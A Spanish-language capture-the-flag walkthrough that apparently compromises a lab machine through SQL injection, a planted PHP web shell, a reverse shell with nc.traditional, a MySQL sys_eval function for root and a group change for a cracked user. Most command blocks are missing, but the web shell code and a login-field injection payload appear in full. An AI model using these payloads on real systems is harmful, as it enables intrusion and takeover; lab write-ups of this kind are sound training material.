Con burp site capturamos la comunicación y la pasamos al intruder para ver cuantas columnas tiene el query y después a repeater para colocar una shell en el directorio /var/www con into outfile'/var/www/shell.php' que es el raiz de la aplicación.(Abajo hay otra alternativa para meter una shell sin sqlinjection)
La shell será la tipica <? system($_GET['cmd']);?>
Para saber si se ha creado el archivo (shell), probar de nuevo y nos indicará que ya existe (already exists), o bien con load_file("/path/archivo"), para leer la shell y ver que está creada en el sitio.
Ahora ya desde una consola atacante hacemos:
y comprobamos que funciona, a partir de ahí miramos todo lo que nos interese, iptable.rules, /etc/passwd, etc..
Pero para codificar la urlencode lo hacemos de la siguiente manera usando php
Y vemos que está pero con el nombre "nc.traditional", por lo que ahora vamos a crear una shell para usar desde consola así:
Y desde una consola atacante hacemos:
Ya tenemos una shell algo mas cómoda, ahora vamos a mejorarla:
y ahora nos conectamos a msyql con:
Como ya sabemos que no existe la función sys_eval ni sys_exec, creamos una de ellas para conseguir root
y después creamos la función sys_eval
Una vez creada, vamos a lanzar nc.traditional para ponerlo a la escucha con id de root
y desde otra terminal atacante hacemos:
y ahora ya tenemos terminal de root, comprobamos haciendo "id" o bien "whoami" :-)
podemos mejorarla con python igualmente, pero ya está conseguido el objetivo
Antes de dar todos estos pasos, se examina también con sqlmap, para saber que el --curren-user es root y que tambien tiene el --is-dba en true para escribir archivos
En el cajetín para logearse, meter en el username admin, y en el password lo siguiente:
' or 1=1 -- - <?php system($_GET[cmd]);?>
Y averiguamos cual es la cookie (supongamos PHPSESSID=15aac22897972e874b822ab5e0a714ff ) en esa comunicación, pues en ella va la pequeña shell, y ahora solo queda ejecutarla desde una terminal atacante, por ejemplo así:
O bien de esta otra manera
Se observa que el número de sessión es el utilizado en esta ocasión
Se puede volver a hacer la shell reverse con id de root de la siguiente manera:
Poniendo antes a escuchar a la consola atacante en el puerto 6969 y siempre que hayamos dado los primeros pasos para crear la función de mysql :)
Tambien se puede usar el "usermod" para poner a john en el grupo admin:
Y ahora conectandose como john hacer un "sudo su" para ser root. De la base de datos ya se habrá sacado la contraseña de john, que una vez aclarada es "MyNameIsJohn"